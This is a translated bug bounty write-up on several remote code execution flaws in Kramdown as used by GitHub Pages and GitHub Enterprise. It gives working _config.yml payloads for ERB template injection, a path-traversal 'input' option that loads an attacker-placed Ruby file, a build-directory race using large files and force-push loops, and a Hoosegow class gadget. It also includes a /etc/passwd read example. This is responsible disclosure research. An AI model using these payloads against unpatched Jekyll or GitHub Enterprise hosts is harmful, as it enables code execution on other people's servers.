Kramdown 配置不当引发 GitHub Pages 多个 RCE,得 $2.5万($6.1万系列之二)
我一直都在盯着 GitHub 企业版会何时修复之前报的漏洞。结果发现GitHub 还修复了 Kramdown 中的一个严重漏洞。
该漏洞的编号是 CVE-2020-14001,它的描述很好地概括了是什么以及如何利用的问题:“Kramdown gem 2.3.0 之前的版本默认处理 Kramdown 文档中的模板选项,导致意外的读取权限(如 template = “/etc/passwd”)或意外的嵌入式 Ruby 代码执行(如以 template=”string://<%= ` 开头的字符串)后果。注:Kramdown 用于 Jekyll、GitLab Pages、GitHub Pages 和 Thredded Forum。
Kramdown 的模板选项可接受任意文件路径,或者,如果它以 string:// 开头,则将被用作模板内容。由于这些模板是 ERB 文件,因此可用于执行任意 ruby 代码。
为测试这一问题,我创建了一个新的 Jekyll 站点并将如下内容添加至 _config.yaml:
markdown: kramdown
kramdown:
template: string://<%= %x|date| %>
启动并加载页面后,确实使用了自定义的 ERB 文件:
<div class="home">Tue 20 Oct 2020 21:12:08 AEDT
<h2 class="post-list-heading">Posts</h2>
这让我思考一个问题,如果 Jekyll 和 Kramdown 均可遭利用的话,那么它们会允许其它哪些选项呢?GitHub Pages 使用的是一个基于 1.17.0 的 Kramdown 版本,于是我开始查看该版本的 Kramdown::Options 模块并看到 simple_hash_validator 正在使用 YAML.load,后者可能通过反序列化创建任意的 ruby 对象:
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.load(val)
它可能和syntax_highlighter_opts 选项匹配,但尝试了一些 payload 后我发现 pages_jekyll gem 加载 safe_yaml,阻止 YAML.load 反序列化 ruby 对象。
几个小时后,我发现了一个有意思的未被记录的选项。当创建一个新的 Kramdown::Document 时就会被使用,如下是相关注释:
# Create a new Kramdown document from the string +source+ and use the provided +options+. The
# options that can be used are defined in the Options module.
#
# The special options key :input can be used to select the parser that should parse the
# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to
# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not
# set, it defaults to +Kramdown+.
#
# The +source+ is immediately parsed by the selected parser so that the root element is
# immediately available and the output can be generated.
def initialize(source, options = {})
@options = Options.merge(options).freeze
parser = (@options[:input] || 'kramdown').to_s
parser = parser[0..0].upcase + parser[1..-1]
try_require('parser', parser)
if Parser.const_defined?(parser)
@root, @warnings = Parser.const_get(parser).parse(source, @options)
else
raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")
end
end
因此,如果 :input 选项存在,第一个字母是大写,则它被传递给 try_require,且类型设为 parser:
# Try requiring a parser or converter class and don't raise an error if the file is not found.
def try_require(type, name)
require("kramdown/#{type}/#{Utils.snake_case(name)}")
true
rescue LoadError
true
end
由于 snake_case 的实现仅关注字母字符并忽视其它一切,因此这意味着可能可以通过目录遍历的方式引发 require 加载预期路径之外的文件!
我创建了一个文件 /tmp/evil.rb,内容是 system("echo hi > /tmp/ggg"),并通过如下 _config.yml 启动了 jekyll。
markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../tmp/evil.rb
虽然Jekyll 未能成功地构建并输出 jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb,但查看已存在文件 /tmp/,说明 ruby 代码已在运行!
$ cat /tmp/ggg
hi
我在自己的 GHE 服务器上创建了一个新的 pages 仓库,新增了 /tmp/evil.rb payload 并证实会发生同样的情况。接下来就是搞清楚如何将可控的 ruby 文件放到一个已知的位置,以便它可被用作 payload。我用的是来自 perf-tools 的 opensnoop,在 GitHub 构建 Jekyll 站点时我观察到了路径,发现使用了如下目录:
/data/user/tmp/pages/page-build-23481
/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
第一个是输入目录,第二个是输出,但两个目录都在进程完成后被快速删除并被复制到一个哈希位置。由于输出目录仅基于用户和仓库名称的话是最容易的,因此我必须想办法让它停留比正常情况更久的时间。
我使用 dd if=/dev/zero of=file.out bs=1000000 count=100 和 code.rb payload 创建了5个 100MB 大小的文件并将它们添加到一个 jekyll 站点,之后创建了一个循环,将仓库重复推送:while true; do git add -A . && git commit --amend -m aa && git push -f; done。查看了目录 /data/user/tmp/pages/pagebuilds/vakzz/jekyll1 后发现,它现在停留的时间更长了。
第一步是创建一个含有恶意 input 的新站点,且 input 指向第一个 jeykll build 文件夹:
markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb
接着设置仓库在一个循环里 pushing 和 building。大概一分钟后,该文件出现了!
$ ls -asl /tmp/ | grep ggg
4 -rw-r--r-- 1 pages pages 3 Aug 19 13:58 ggg4
我写好报告后发给GitHub,他们这次的处理速度也极快(30分钟内)。几小时后我收到答复称他们正在加固 Kramdown 选项的安全性以及询问我是否了解其它需要被限制的选项。
虽然看起来有点可疑的其它唯一一个选项是 formatter_class(被设为 syntax_highlighter_opts的一部分),但它设置的验证是具有仅允许字母数字,然后使用 :Rouge::Formatters.const_get 查找。
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
当时,我以为这样做很安全,不过还是在提到 simple_hash_validator 时,一并提及。
第二天晚上,我分析了 :Rouge::Formatters.const_get 的实际工作原理。结果发现它并没有像我原来想的那样将常量限制为 ::Rouge::Formatters,可能会返回之前被定义的任意常量/类。虽然正则表达式仍然做出了限制(不允许 ::),但它仍然可悲用于返回相当多的类。发现该常量时,它被用于创建一个新的实例,之后调用 format 方法:
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
为测试效果,我编辑了 _config.yml,之后尝试构建该站点。
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
虽然并未成功,但出错信息表明 CVS 类已创建!
jekyll 3.8.5 | Error: private method `format' called for #<CSV:0x00007fe0d195bd48>
我在报告中增加注释指出, formatter 选项肯定应该被限制,我将继续查看它是否可遭利用。
因此,现在我们具备的能力是创建一个高级别的 ruby 对象。该对象的初始化程序仅使用一个哈希值,而我们可对该哈希值具有相当多的控制。我花费了一点时间搜索并在 ruby 测试如何获取常量列表,之后提出如下脚本:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
end
虽然很快且复杂,但基本上我找到了匹配正则表达式的所有常量并试图通过一个哈希创建一个新的实例。我登录到 GHE 服务器,进入 pages 的目录并运行该脚本。虽然报告了很多 worked 或 maybe 结果,但由于出现StandardError,因此很多被舍弃。
我遍历类列表,查看代码分析初始化程序中发生的情况,但直到遇到下面的情况才找到一些有用的东西:
trying Hoosegow
#<Hoosegow::InmateImportError: inmate file doesn't exist>
maybe
出错信息已经让人感到有希望!Hoosegow 初始化方法如下:
def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
Load_inmate_methods 方法是:
def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
完美!由于我们能够向 options 哈希增加任何东西,因此这将允许我们传递自己的 inmate_dir 目录,然后我们所需要做的就是让恶意 inmate.rb 等待。
和上面的流程一样,我编辑了 _config.yml。
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: Hoosegow
inmate_dir: /tmp/
之后通过 payload 在 GHE 服务器上创建了 /tmp/inmate.rb 文件并推送了 Jekyll 站点。几秒后,该文件就得到请求且 payload 被执行!
2020年8月20日 00:18:42 AEST – 将 RCE 漏洞报告提交给 GitHub 的 HackerOne 页面
2020年8月20日 00:50:41 AEST – 报告诊断
2020年8月20日 06:12:37 AEST – 证实正在推出补丁,询问其它应被限制的选项
2020年8月20日 07:14:57 AEST –发送其它潜在可限制的选项
2020年8月20日 22:55:52 AEST – 报告formatter_class 的分析结果
2020年8月20日 23:49:55 AEST – 报告经由Hoosegow 类实现的 RCE
2020年8月27日 04:21:37 AEST – CVE-2020-10518 编号分配,GHE 即将发布报告
2020年10月15日05:48:59 AEDT – 获得2万美元+5000美元的奖金
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。